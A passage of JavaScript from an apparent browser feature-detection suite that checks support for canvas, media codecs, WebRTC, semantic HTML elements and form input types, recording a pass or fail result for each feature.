var passed = e.firstChild && "namespaceURI" in e.firstChild && e.firstChild.namespaceURI == 'http://www.w3.org/2000/svg';
results.setItem({
key: 'parsing-svg',
passed: passed
});
/* svg in html */
var e = document.createElement('div');
e.innerHTML = '<math></math>';
var passed = e.firstChild && "namespaceURI" in e.firstChild && e.firstChild.namespaceURI == 'http://www.w3.org/1998/Math/MathML';
results.setItem({
key: 'parsing-mathml',
passed: passed
});
},
function(results) {
/* picture element */
results.setItem({
key: 'responsive-picture',
passed: 'HTMLPictureElement' in window
});
/* srcset attribute */
results.setItem({
key: 'responsive-srcset',
passed: 'srcset' in document.createElement('img')
});
/* sizes attribute */
results.setItem({
key: 'responsive-sizes',
passed: 'sizes' in document.createElement('img')
});
},
function(results) {
this.canvas = document.createElement('canvas');
/* canvas element and 2d context */
results.setItem({
key: 'canvas-context',
passed: !! (this.canvas.getContext && typeof CanvasRenderingContext2D != 'undefined' && this.canvas.getContext('2d') instanceof CanvasRenderingContext2D)
});
/* text support */
var passed = false;
if (this.canvas.getContext) {
try {
passed = typeof this.canvas.getContext('2d').fillText == 'function';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-text',
passed: passed
});
/* path support */
results.setItem({
key: 'canvas-path',
passed: typeof Path2D != "undefined" ? YES : typeof Path != "undefined" ? YES | OLD : NO
});
/* ellipse support */
var passed = false;
if (this.canvas.getContext) {
try {
passed = typeof this.canvas.getContext('2d').ellipse != 'undefined';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-ellipse',
passed: passed
});
/* dashed support */
var passed = false;
if (this.canvas.getContext) {
try {
passed = typeof this.canvas.getContext('2d').setLineDash != 'undefined';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-dashed',
passed: passed
});
/* focusring support */
var passed = false;
if (this.canvas.getContext) {
try {
passed = typeof this.canvas.getContext('2d').drawFocusIfNeeded != 'undefined';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-focusring',
passed: passed
});
/* hittest support */
var passed = false;
if (this.canvas.getContext) {
try {
passed = typeof this.canvas.getContext('2d').addHitRegion != 'undefined';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-hittest',
passed: passed
});
/* blending support */
var passed = false;
if (this.canvas.getContext) {
this.canvas.width = 1;
this.canvas.height = 1;
try {
var ctx = this.canvas.getContext('2d');
ctx.fillStyle = '#fff';
ctx.fillRect(0,0,1,1);
ctx.globalCompositeOperation = 'screen';
ctx.fillStyle = '#000';
ctx.fillRect(0,0,1,1);
var data = ctx.getImageData(0,0,1,1);
passed = ctx.globalCompositeOperation == 'screen' && data.data[0] == 255;
}
catch(e) {
}
}
results.setItem({
key: 'canvas-blending',
passed: passed
});
/* export to png */
var passed = false;
if (this.canvas.getContext) {
try {
passed = this.canvas.toDataURL('image/png').substring(5,14) == 'image/png';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-png',
passed: passed
});
/* export to jpeg */
var passed = false;
if (this.canvas.getContext) {
try {
passed = this.canvas.toDataURL('image/jpeg').substring(5,15) == 'image/jpeg';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-jpeg',
passed: passed
});
/* export to jpeg xr */
var passed = false;
if (this.canvas.getContext) {
try {
passed = this.canvas.toDataURL('image/vnd.ms-photo').substring(5,23) == 'image/vnd.ms-photo';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-jpegxr',
passed: passed
});
/* export to webp */
var passed = false;
if (this.canvas.getContext) {
try {
passed = this.canvas.toDataURL('image/webp').substring(5,15) == 'image/webp';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-webp',
passed: passed
});
},
function(results) {
this.element = document.createElement('video');
/* video element */
results.setItem({
key: 'video-element',
passed: !!this.element.canPlayType
});
/* audioTracks property */
results.setItem({
key: 'video-audiotracks',
passed: 'audioTracks' in this.element
});
/* videoTracks property */
results.setItem({
key: 'video-videotracks',
passed: 'videoTracks' in this.element
});
/* subtitles */
results.setItem({
key: 'video-subtitle',
passed: 'track' in document.createElement('track')
});
/* poster */
results.setItem({
key: 'video-poster',
passed: 'poster' in this.element
});
/* drm */
results.setItem({
key: 'video-drm',
passed: 'setMediaKeys' in this.element ? YES : 'webkitAddKey' in this.element || 'webkitSetMediaKeys' in this.element || 'mozSetMediaKeys' in this.element || 'msSetMediaKeys' in this.element ? YES | PREFIX : NO
});
/* mediasource */
results.setItem({
key: 'video-mediasource',
passed: 'MediaSource' in window ? YES : 'WebKitMediaSource' in window || 'mozMediaSource' in window || 'msMediaSource' in window ? YES | PREFIX : NO
});
/* recorder */
results.setItem({
key: 'video-recorder',
passed: 'MediaRecorder' in window
});
/* mpeg-4 codec */
results.setItem({
key: 'video-mpeg4',
passed: !!this.element.canPlayType && canPlayType(this.element, 'video/mp4; codecs="mp4v.20.8"')
});
/* h.264 codec */
/* I added a workaround for IE9, which only detects H.264 if you also provide an audio codec. Bug filed @ connect.microsoft.com */
results.setItem({
key: 'video-h264',
passed: !!this.element.canPlayType && (canPlayType(this.element, 'video/mp4; codecs="avc1.42E01E"') || canPlayType(this.element, 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"'))
});
/* h.265 codec */
results.setItem({
key: 'video-h265',
passed: !!this.element.canPlayType && (canPlayType(this.element, 'video/mp4; codecs="hvc1.1.L0.0"') || canPlayType(this.element, 'video/mp4; codecs="hev1.1.L0.0"'))
});
/* theora codec */
results.setItem({
key: 'video-theora',
passed: !!this.element.canPlayType && canPlayType(this.element, 'video/ogg; codecs="theora"')
});
/* vp8 in webm codec */
results.setItem({
key: 'video-webmvp8',
passed: !!this.element.canPlayType && canPlayType(this.element, 'video/webm; codecs="vp8"')
});
/* vp9 in webm codec */
results.setItem({
key: 'video-webmvp9',
passed: !!this.element.canPlayType && canPlayType(this.element, 'video/webm; codecs="vp9"')
});
/* does codec detection work properly? */
var passed = true;
if (!!this.element.canPlayType) {
if (this.element.canPlayType('video/nonsense') == 'no') {
passed = false;
log('Codec detection is buggy: known bug in Firefox 3.5.0 - 3.5.1 and Safari 4.0.0 - 4.0.4 that answer "no" to unknown codecs instead of an empty string')
}
if (this.element.canPlayType('video/webm') == 'probably') {
passed = false;
log('Codec detection is buggy: known bug that Firefox 27 and earlier always says "probably" when asked about WebM, even when the codecs string is not present')
}
if (this.element.canPlayType('video/mp4; codecs="avc1.42E01E"') == 'maybe' && this.element.canPlayType('video/mp4') == 'probably') {
passed = false;
log('Codec detection is buggy: known bug in iOS 4.1 and earlier that switches "maybe" and "probably" around')
}
if (this.element.canPlayType('video/mp4; codecs="avc1.42E01E"') == 'maybe' && this.element.canPlayType('video/mp4') == 'maybe') {
passed = false;
log('Codec detection is buggy: known bug in Android where no better answer than "maybe" is given')
}
if (this.element.canPlayType('video/mp4; codecs="avc1.42E01E, mp4a.40.2"') == 'probably' && this.element.canPlayType('video/mp4; codecs="avc1.42E01E"') != 'probably') {
passed = false;
log('Codec detection is buggy: known bug in Internet Explorer 9 that requires both audio and video codec on test')
}
}
results.setItem({
key: 'video-canplaytype',
passed: this.element.canPlayType ? (passed ? YES : YES | BUGGY) : NO
});
},
function(results) {
this.element = document.createElement('audio');
/* video element */
results.setItem({
key: 'audio-element',
passed: !!this.element.canPlayType
});
/* loop property */
results.setItem({
key: 'audio-loop',
passed: 'loop' in this.element
});
/* preload property */
results.setItem({
key: 'audio-preload',
passed: 'preload' in this.element
});
/* pcm codec */
results.setItem({
key: 'audio-pcm',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/wav; codecs="1"')
});
/* mp3 codec */
var r = false;
if (this.element.canPlayType) {
var t = this.element.canPlayType('audio/mpeg');
if (t == 'maybe') {
// We need to check if the browser really supports playing MP3s by loading one and seeing if the
// loadedmetadata event is triggered... but for now assume it does support it...
r = true;
} else if (t == 'probably') {
r = true;
}
}
results.setItem({
key: 'audio-mp3',
passed: r
});
/* aac codec */
results.setItem({
key: 'audio-aac',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/mp4; codecs="mp4a.40.2"')
});
/* ac3 codec */
results.setItem({
key: 'audio-ac3',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/mp4; codecs="ac-3"')
});
/* enhanced ac3 codec */
results.setItem({
key: 'audio-ec3',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/mp4; codecs="ec-3"')
});
/* ogg vorbis codec */
results.setItem({
key: 'audio-vorbis',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/ogg; codecs="vorbis"')
});
/* ogg opus codec */
results.setItem({
key: 'audio-opus',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/ogg; codecs="opus"')
});
/* webm vorbis codec */
results.setItem({
key: 'audio-webm',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/webm; codecs="vorbis"')
});
/* webm opus codec */
results.setItem({
key: 'audio-webmopus',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/webm; codecs="opus"')
});
/* webaudio */
results.setItem({
key: 'audio-webaudio',
passed: 'AudioContext' in window ? YES : 'webkitAudioContext' in window || 'mozAudioContext' in window || 'oAudioContext' in window || 'msAudioContext' in window ? YES | PREFIX : NO
});
/* speech recognition */
results.setItem({
key: 'audio-speechrecognition',
passed: 'SpeechRecognition' in window ? YES : 'webkitSpeechRecognition' in window || 'mozSpeechRecognition' in window || 'oSpeechRecognition' in window || 'msSpeechRecognition' in window ? YES | PREFIX : NO
});
/* speech synthesis */
var speechSynthesis = window.speechSynthesis || window.webkitSpeechSynthesis || window.mozSpeechSynthesis || window.oSpeechSynthesis || window.msSpeechSynthesis;
var available = 'speechSynthesis' in window ? YES : 'webkitSpeechSynthesis' in window || 'mozSpeechSynthesis' in window || 'oSpeechSynthesis' in window || 'msSpeechSynthesis' in window ? YES | PREFIX : NO;
var voices = speechSynthesis ? speechSynthesis.getVoices().length : 0;
var speechItem = results.setItem({
key: 'audio-speechsynthesis',
passed: speechSynthesis && voices ? available : NO
});
if (speechSynthesis && !voices) {
if (speechSynthesis.addEventListener) {
speechItem.startBackground();
speechSynthesis.addEventListener("voiceschanged", function() {
voices = speechSynthesis.getVoices().length;
speechItem.update({
passed: voices ? available : NO,
});
speechItem.stopBackground();
});
window.setTimeout(function() {
speechItem.stopBackground();
}, 1000);
}
}
},
function(results) {
/* webrtc */
results.setItem({
key: 'webrtc-webrtc',
passed: !!window.RTCPeerConnection ? YES : !!window.webkitRTCPeerConnection || !!window.mozRTCPeerConnection || !!window.msRTCPeerConnection || !!window.oRTCPeerConnection ? YES | PREFIX : NO
});
/* objectrtc */
results.setItem({
key: 'webrtc-objectrtc',
passed: !!window.RTCIceTransport ? YES : !!window.webkitRTCIceTransport || !!window.mozRTCIceTransport || !!window.msRTCIceTransport || !!window.oRTCIceTransport ? YES | PREFIX : NO
});
/* datachannel */
var passed = false;
try {
o = new (window.RTCPeerConnection || window.msRTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection)(null);
passed = 'createDataChannel' in o;
}
catch(e) {
}
results.setItem({
key: 'webrtc-datachannel',
passed: passed ? (window.RTCPeerConnection ? YES : YES | PREFIX) : NO
});
},
function(results) {
/* getUserMedia */
results.setItem({
key: 'input-getUserMedia',
passed: !!navigator.mediaDevices && !!navigator.mediaDevices.getUserMedia ? YES : !!navigator.getUserMedia ? YES | OLD : !!navigator.webkitGetUserMedia || !!navigator.mozGetUserMedia || !!navigator.msGetUserMedia || !!navigator.oGetUserMedia ? YES | PREFIX : NO
});
/* getGamepads */
results.setItem({
key: 'input-getGamepads',
passed: !!navigator.getGamepads ? YES : !!navigator.webkitGetGamepads || !!navigator.mozGetGamepads || !!navigator.msGetGamepads || !!navigator.oGetGamepads ? YES | PREFIX : NO
});
/* pointerLock */
results.setItem({
key: 'input-pointerLock',
passed: 'pointerLockElement' in document ? YES : 'oPointerLockElement' in document || 'msPointerLockElement' in document || 'mozPointerLockElement' in document || 'webkitPointerLockElement' in document ? YES | PREFIX : NO
});
/* pointerevents */
results.setItem({
key: 'input-pointerevents',
passed: !!window.PointerEvent ? YES : !!window.webkitPointerEvent || !!window.mozPointerEvent || !!window.msPointerEvent || !!window.oPointerEvent ? YES | PREFIX : NO
});
},
function(results) {
/* dataset */
var element = document.createElement('div');
element.setAttribute('data-test', 'test');
results.setItem({
key: 'elements-dataset',
passed: 'dataset' in element
});
/* section, nav, article, header and footer */
var elements = 'section nav article aside header footer'.split(' ');
for (var e = 0; e < elements.length; e++) {
var passed = false;
try {
var element = document.createElement(elements[e]);
document.body.appendChild(element);
try {
passed = element instanceof HTMLElement && !(element instanceof HTMLUnknownElement) && isBlock(element) && closesImplicitly(elements[e]);
} catch(error) {
}
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-section-' + elements[e],
passed: passed,
value: 1
});
}
/* main, figure and figcaption */
var elements = 'main figure figcaption'.split(' ');
for (var e = 0; e < elements.length; e++) {
var passed = false;
try {
var element = document.createElement(elements[e]);
document.body.appendChild(element);
try {
passed = element instanceof HTMLElement && !(element instanceof HTMLUnknownElement) && isBlock(element) && (elements[e] != 'figure' || closesImplicitly(elements[e]));
} catch(error) {
}
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-grouping-' + elements[e],
passed: passed
});
}
/* ol grouping */
results.setItem({
key: 'elements-grouping-ol',
passed: 'reversed' in document.createElement('ol')
});
/* a download */
results.setItem({
key: 'elements-semantic-download',
passed: 'download' in document.createElement('a')
});
/* a ping */
results.setItem({
key: 'elements-semantic-ping',
passed: 'ping' in document.createElement('a')
});
/* mark element */
var passed = false;
try {
var element = document.createElement('mark');
document.body.appendChild(element);
try {
passed = element instanceof HTMLElement && !(element instanceof HTMLUnknownElement) && (color = getStyle(element, 'background-color')) && (color != 'transparent');
} catch(error) {
}
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-semantic-mark',
passed: passed
});
/* ruby, rt, rp element */
var container = document.createElement('div');
document.body.appendChild(container);
container.innerHTML = "<ruby id='ruby'><rp id='rp'></rp><rt id='rt'></rt></ruby>";
var rubyElement = document.getElementById('ruby');
var rtElement = document.getElementById('rt');
var rpElement = document.getElementById('rp');
var rubySupport = false;
var rtSupport = false;
var rpSupport = false;
try {
rubySupport = rubyElement && rubyElement instanceof HTMLElement && !(element instanceof HTMLUnknownElement);
rtSupport = rtElement && rtElement instanceof HTMLElement && !(element instanceof HTMLUnknownElement);
rpSupport = rpElement && rpElement instanceof HTMLElement && !(element instanceof HTMLUnknownElement) && isHidden(rpElement);
} catch(error) {
}
document.body.removeChild(container);
results.setItem({
key: 'elements-semantic-ruby',
passed: rubySupport && rtSupport && rpSupport
});
/* time element */
var passed = false;
try {
var element = document.createElement('time');
try {
passed = typeof HTMLTimeElement != 'undefined' && element instanceof HTMLTimeElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'elements-semantic-time',
passed: passed
});
/* data element */
var passed = false;
try {
var element = document.createElement('data');
try {
passed = typeof HTMLDataElement != 'undefined' && element instanceof HTMLDataElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'elements-semantic-data',
passed: passed
});
/* wbr element */
var passed = false;
try {
var element = document.createElement('wbr');
try {
passed = element instanceof HTMLElement && !(element instanceof HTMLUnknownElement);
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'elements-semantic-wbr',
passed: passed
});
/* details element */
var passed = false;
try {
var element = document.createElement('details');
element.innerHTML = '<summary>a</summary>b';
document.body.appendChild(element);
var height = element.offsetHeight;
element.open = true;
passed = height != element.offsetHeight;
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-interactive-details',
passed: passed
});
/* summary element */
var passed = false;
try {
var element = document.createElement('summary');
document.body.appendChild(element);
try {
passed = element instanceof HTMLElement && !(element instanceof HTMLUnknownElement);
} catch(error) {
}
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-interactive-summary',
passed: passed
});
/* menu toolbar */
var passed = legacy = false;
try {
var element = document.createElement('menu');
document.body.appendChild(element);
try {
legacy = typeof HTMLMenuElement != 'undefined' && element instanceof HTMLMenuElement && 'type' in element;
} catch(error) {
}
// Check default type
if (legacy && element.type != 'list') legacy = false;
// Check type sanitization
try {
element.type = 'foobar';
} catch(error) {
}
if (legacy && element.type == 'foobar') legacy = false;
// Check if correct type sticks
try {
element.type = 'list';
} catch(error) {
legacy = false;
}
if (legacy && element.type != 'list') legacy = false;
document.body.removeChild(element);
} catch(error) {
}
try {
var element = document.createElement('menu');
document.body.appendChild(element);
try {
passed = typeof HTMLMenuElement != 'undefined' && element instanceof HTMLMenuElement && 'type' in element;
} catch(error) {
}
// Check default type
if (passed && element.type != 'toolbar') passed = false;
// Check type sanitization
try {
element.type = 'foobar';
} catch(error) {
}
if (passed && element.type == 'foobar') passed = false;
// Check if correct type sticks
try {
element.type = 'toolbar';
} catch(error) {
passed = false;
}
if (passed && element.type != 'toolbar') passed = false;
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-interactive-menutoolbar',
passed: passed ? YES : legacy ? YES | OLD : NO
});
/* menu popup */
var passed = legacy = false;
try {
var element = document.createElement('menu');
document.body.appendChild(element);
try {
legacy = typeof HTMLMenuElement != 'undefined' && element instanceof HTMLMenuElement && 'type' in element;
} catch(error) {
}
// Check if correct type sticks
try {
element.type = 'context';
} catch(error) {
legacy = false;
}
if (legacy && element.type != 'context') legacy = false;
if (legacy) {
var item = document.createElement('menuitem');
element.appendChild(item);
if (typeof HTMLMenuItemElement == 'undefined' || ! item instanceof HTMLMenuItemElement) legacy = false;
}
document.body.removeChild(element);
} catch(error) {
}
try {
var element = document.createElement('menu');
document.body.appendChild(element);
try {
passed = typeof HTMLMenuElement != 'undefined' && element instanceof HTMLMenuElement && 'type' in element;
} catch(error) {
}
try {
element.type = 'popup';
} catch(error) {
}
// Check default type
var second = document.createElement('menu');
element.appendChild(second);
if (passed && second.type != 'popup') passed = false;
element.removeChild(second);
// Check type sanitization
try {
element.type = 'foobar';
} catch(error) {
}
if (passed && element.type == 'foobar') passed = false;
// Check if correct type sticks
try {
element.type = 'popup';
} catch(error) {
passed = false;
}
if (passed && element.type != 'popup') passed = false;
if (passed) {
var item = document.createElement('menuitem');
element.appendChild(item);
if (typeof HTMLMenuItemElement == 'undefined' || ! item instanceof HTMLMenuItemElement) passed = false;
}
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-interactive-menupopup',
passed: passed ? YES : legacy ? YES | OLD : NO
});
/* dialog element */
var passed = false;
try {
var element = document.createElement('dialog');
try {
passed = typeof HTMLDialogElement != 'undefined' && element instanceof HTMLDialogElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'elements-interactive-dialog',
passed: passed
});
/* hidden attribute */
results.setItem({
key: 'elements-hidden',
passed: 'hidden' in document.createElement('div')
});
/* outerHTML property */
results.setItem({
key: 'elements-dynamic-outerHTML',
passed: 'outerHTML' in document.createElement('div')
});
/* insertAdjacentHTML property */
results.setItem({
key: 'elements-dynamic-insertAdjacentHTML',
passed: 'insertAdjacentHTML' in document.createElement('div')
});
},
function(results) {
function createInput(type) {
var field = document.createElement('input');
try {
field.setAttribute('type', type);
} catch(e) {
}
return field;
}
/* input type=text */
var element = createInput('text');
results.setItem({
key: 'form-text-element',
passed: element.type == 'text'
});
results.setItem({
key: 'form-text-selection',
passed: 'selectionDirection' in element
});
/* input type=search */
var element = createInput('search');
results.setItem({
key: 'form-search-element',
passed: element.type == 'search'
});
/* input type=tel */
var element = createInput('tel');
results.setItem({
key: 'form-tel-element',
passed: element.type == 'tel'
});
/* input type=url */
var element = createInput('url');
var validation = false;
if ('validity' in element) {
validation = true;
element.value = "foo";
validation &= !element.validity.valid
element.value = "http://foo.org";
validation &= element.validity.valid
}
results.setItem({
key: 'form-url-element',
passed: element.type == 'url'
});
results.setItem({
key: 'form-url-validation',
passed: validation
});
/* input type=email */
var element = createInput('email');
var validation = false;
if ('validity' in element) {
validation = true;
element.value = "foo";
validation &= !element.validity.valid
element.value = "[email protected]";
validation &= element.validity.valid
}
results.setItem({
key: 'form-email-element',
passed: element.type == 'email'
});
results.setItem({
key: 'form-email-validation',
passed: validation
});
/* input type=date, month, week, time, datetime and datetime-local */
var types = ['date', 'month', 'week', 'time', 'datetime', 'datetime-local'];
for (var t = 0; t < types.length; t++) {
var element = createInput(types[t]);
element.value = "foobar";
var sanitization = element.value == '';
var minimal = element.type == types[t];
results.setItem({
key: 'form-' + types[t] + '-element',
passed: minimal
});
results.setItem({
key: 'form-' + types[t] + '-ui',
passed: minimal && sanitization, // Testing UI reliably is not possible, so we assume if sanitization is support we also have a UI and use the blacklist to make corrections
});
results.setItem({
key: 'form-' + types[t] + '-sanitization',
passed: minimal && sanitization
});
results.setItem({
key: 'form-' + types[t] + '-min',
passed: minimal && 'min' in element
});
results.setItem({
key: 'form-' + types[t] + '-max',
passed: minimal && 'max' in element
});
results.setItem({
key: 'form-' + types[t] + '-step',
passed: minimal && 'step' in element
});
results.setItem({
key: 'form-' + types[t] + '-stepDown',
passed: minimal && 'stepDown' in element
});
results.setItem({
key: 'form-' + types[t] + '-stepUp',
passed: minimal && 'stepUp' in element
});
if (t != 'datetime-local' && t != 'datetime') {
results.setItem({
key: 'form-' + types[t] + '-valueAsDate',
passed: minimal && 'valueAsDate' in element
});
}
results.setItem({
key: 'form-' + types[t] + '-valueAsNumber',
passed: minimal && 'valueAsNumber' in element
});
}
/* input type=number, range */
var types = ['number', 'range'];
for (var t = 0; t < types.length; t++) {
var element = createInput(types[t]);
element.value = "foobar";
var sanitization = element.value != 'foobar';
var validation = false;
if ('validity' in element) {
validation = true;
element.min = 40;
element.max = 50;
element.value = 100;
validation &= !element.validity.valid
element.value = 42;
validation &= element.validity.valid
}
var minimal = element.type == types[t];
results.setItem({
key: 'form-' + types[t] + '-element',
passed: minimal
});
results.setItem({
key: 'form-' + types[t] + '-ui',
passed: minimal && sanitization, // Testing UI reliably is not possible, so we assume if sanitization is support we also have a UI and use the blacklist to make corrections
});
results.setItem({
key: 'form-' + types[t] + '-sanitization',
passed: minimal && sanitization
});
if (types[t] != 'range') {
results.setItem({
key: 'form-' + types[t] + '-validation',
passed: minimal && validation
});
}
results.setItem({
key: 'form-' + types[t] + '-min',
passed: minimal && 'min' in element
});
results.setItem({
key: 'form-' + types[t] + '-max',
passed: minimal && 'max' in element
});
results.setItem({
key: 'form-' + types[t] + '-step',
passed: minimal && 'step' in element
});
results.setItem({
key: 'form-' + types[t] + '-stepDown',
passed: minimal && 'stepDown' in element
});
results.setItem({
key: 'form-' + types[t] + '-stepUp',
passed: minimal && 'stepUp' in element
});
results.setItem({
key: 'form-' + types[t] + '-valueAsNumber',
passed: minimal && 'valueAsNumber' in element
});
}
/* input type=color */
var element = createInput('color');
element.value = "foobar";
var sanitization = element.value != 'foobar';
results.setItem({
key: 'form-color-element',
passed: element.type == 'color'
});
results.setItem({
key: 'form-color-ui',
passed: sanitization, // Testing UI reliably is not possible, so we assume if sanitization is support we also have a UI and use the blacklist to make corrections
});
results.setItem({
key: 'form-color-sanitization',
passed: sanitization
});
/* input type=checkbox */
var element = createInput('checkbox');
results.setItem({
key: 'form-checkbox-element',
passed: element.type == 'checkbox'
});
results.setItem({
key: 'form-checkbox-indeterminate',
passed: 'indeterminate' in element
});
/* input type=image */
var element = createInput('image');
element.style.display = 'inline-block';
var supportsWidth = 'width' in element;
var supportsHeight = 'height' in element;
element.setAttribute('width', '100');
element.setAttribute('height', '100');
results.setItem({
key: 'form-image-element',
passed: element.type == 'image'
});
results.setItem({
key: 'form-image-width',
passed: supportsWidth && element.offsetWidth == 100
});
results.setItem({
key: 'form-image-height',
passed: supportsHeight && element.offsetHeight == 100
});
/* input type=file */
var element = createInput('file');
results.setItem({
key: 'form-file-element',
passed: element.type == 'file'
});
results.setItem({
key: 'form-file-files',
passed: element.files && element.files instanceof FileList
});
results.setItem({
key: 'form-file-directory',
passed: 'directory' in element && window.Directory
});
/* textarea */
var element = document.createElement('textarea');
var passed = false;
try {
passed = typeof HTMLTextAreaElement != 'undefined' && element instanceof HTMLTextAreaElement;
} catch(error) {
}
results.setItem({
key: 'form-textarea-element',
passed: passed
});
results.setItem({
key: 'form-textarea-maxlength',
passed: 'maxLength' in element
});
results.setItem({
key: 'form-textarea-wrap',
passed: 'wrap' in element
});
/* select */
var element = document.createElement('select');
var passed = false;
try {
passed = typeof HTMLSelectElement != 'undefined' && element instanceof HTMLSelectElement;
} catch(error) {
}
results.setItem({
key: 'form-select-element',
passed: passed
});
results.setItem({
key: 'form-select-required',
passed: 'required' in element
});
/* fieldset */
var element = document.createElement('fieldset');
var passed = false;
try {
passed = typeof HTMLFieldSetElement != 'undefined' && element instanceof HTMLFieldSetElement;
} catch(error) {
}
results.setItem({
key: 'form-fieldset-element',
passed: passed
});
results.setItem({
key: 'form-fieldset-elements',
passed: 'elements' in element
});
results.setItem({
key: 'form-fieldset-disabled',
passed: 'disabled' in element
});
/* datalist */
var passed = false;
try {
var element = document.createElement('datalist');
try {
passed = (typeof HTMLDataListElement != 'undefined' && element instanceof HTMLDataListElement) || element.childNodes.length;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'form-datalist-element',
passed: passed
});
var element = document.createElement('input');
results.setItem({
key: 'form-datalist-list',
passed: !!("list" in element)
});
/* keygen */
var element = document.createElement('div');
element.innerHTML = '<keygen>';
var passed = false;
try {
passed = typeof HTMLKeygenElement != 'undefined' && element.firstChild instanceof HTMLKeygenElement && 'challenge' in element.firstChild && 'keytype' in element.firstChild;
} catch(error) {
}
results.setItem({
key: 'form-keygen-element',
passed: passed
});
results.setItem({
key: 'form-keygen-challenge',
passed: element.firstChild && 'challenge' in element.firstChild
});
results.setItem({
key: 'form-keygen-keytype',
passed: element.firstChild && 'keytype' in element.firstChild
});
/* output */
var passed = false;
try {
var element = document.createElement('output');
try {
passed = typeof HTMLOutputElement != 'undefined' && element instanceof HTMLOutputElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'form-output-element',
passed: passed
});
/* progress */
var passed = false;
try {
var element = document.createElement('progress');
try {
passed = typeof HTMLProgressElement != 'undefined' && element instanceof HTMLProgressElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'form-progress-element',
passed: passed
});
/* meter */
var passed = false;
try {
var element = document.createElement('meter');
try {
passed = typeof HTMLMeterElement != 'undefined' && element instanceof HTMLMeterElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'form-meter-element',
passed: passed
});
/* pattern and required properties */
var element = document.createElement('input');
var props = 'pattern required'.split(' ');
for (var p = 0; p < props.length; p++) {
results.setItem({
key: 'form-validation-' + props[p],
passed: !!(props[p] in element)
});
}
/* control property on labels */
var field = document.createElement('input');
field.id = "a";
document.body.appendChild(field);
var label = document.createElement("label");
label.setAttribute('for', 'a');
document.body.appendChild(label);
results.setItem({
key: 'form-association-control',
passed: label.control == field
});
document.body.removeChild(field);
document.body.removeChild(label);
/* form attribute on input */
var element = document.createElement('div');
document.body.appendChild(element);
element.innerHTML = '<form id="form"></form><input form="form">';
results.setItem({
key: 'form-association-form',
passed: element.lastChild.form == element.firstChild
});
document.body.removeChild(element);
/* formAction, formEnctype, formMethod, formNoValidate and formTarget properties */
var props = 'formAction formEnctype formMethod formNoValidate formTarget'.split(' ');
var element = document.createElement('input');
for (var p = 0; p < props.length; p++) {
results.setItem({
key: 'form-association-' + props[p],
passed: !!(props[p] in element)
});
}
/* labels property on input */
var element = document.createElement('input');
document.body.appendChild(element);
element.id = "testFormInput";
var label = document.createElement("label");
label.setAttribute('for', 'testFormInput');
document.body.appendChild(label);
results.setItem({
key: 'form-association-labels',
passed: (!!element.labels && element.labels.length == 1 && element.labels[0] == label)
});
document.body.removeChild(label);
document.body.removeChild(element);
/* autofocus */
var element = document.createElement('input');
results.setItem({
key: 'form-other-autofocus',
passed: !!('autofocus' in element)
});
/* autocomplete, placeholder, multiple and dirName properties */
var props = 'autocomplete placeholder multiple dirName'.split(' ');
for (var p = 0; p < props.length; p++) {
var prop = props[p].toLowerCase();
results.setItem({
key: 'form-other-' + prop,
passed: !!(props[p] in element)
});
}
/* valid, invalid, optional, required, in-range, out-of-range, read-write and read-only css selectors */
var selectors = "valid invalid optional required in-range out-of-range read-write read-only".split(" ");
var passed = [NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN, NO | UNKNOWN];
/* At this time we are not testing enabled, disabled, checked and indeterminate,
because these selectors are part of the CSS 3 Selector specification and
universally implemented, see http://www.css3.info/selectors-test/
*/
if ('querySelector' in document) {
var element = document.createElement('input');
element.id = 'testFormInput';
element.setAttribute("type", "text");
document.body.appendChild(element);
try {
passed[0] = !!document.querySelector("#testFormInput:valid");
} catch(e) {
passed[0] = NO;
}
try {
passed[6] = !!document.querySelector("#testFormInput:read-write");
} catch(e) {
passed[6] = NO;
try {
passed[6] = document.querySelector("#testFormInput:-moz-read-write") ? YES | PREFIX : NO;
} catch(e) {
}
}
if ("validity" in element && "setCustomValidity" in element) {
element.setCustomValidity("foo");
try {
passed[1] = !!document.querySelector("#testFormInput:invalid");
} catch(e) {
passed[1] = NO;
}
} else {
passed[1] = NO;
}
try {
passed[2] = !!document.querySelector("#testFormInput:optional");
} catch(e) {
passed[2] = NO;
}
element.setAttribute("required", "true");
try {
passed[3] = !!document.querySelector("#testFormInput:required");
} catch(e) {
passed[3] = NO;
}
try {
element.setAttribute("type", "number");
element.setAttribute("min", "10");
element.setAttribute("max", "20");
element.setAttribute("value", "15");
passed[4] = !!document.querySelector("#testFormInput:in-range");
} catch(e) {
passed[4] = NO;
}
try {
element.setAttribute("type", "number");
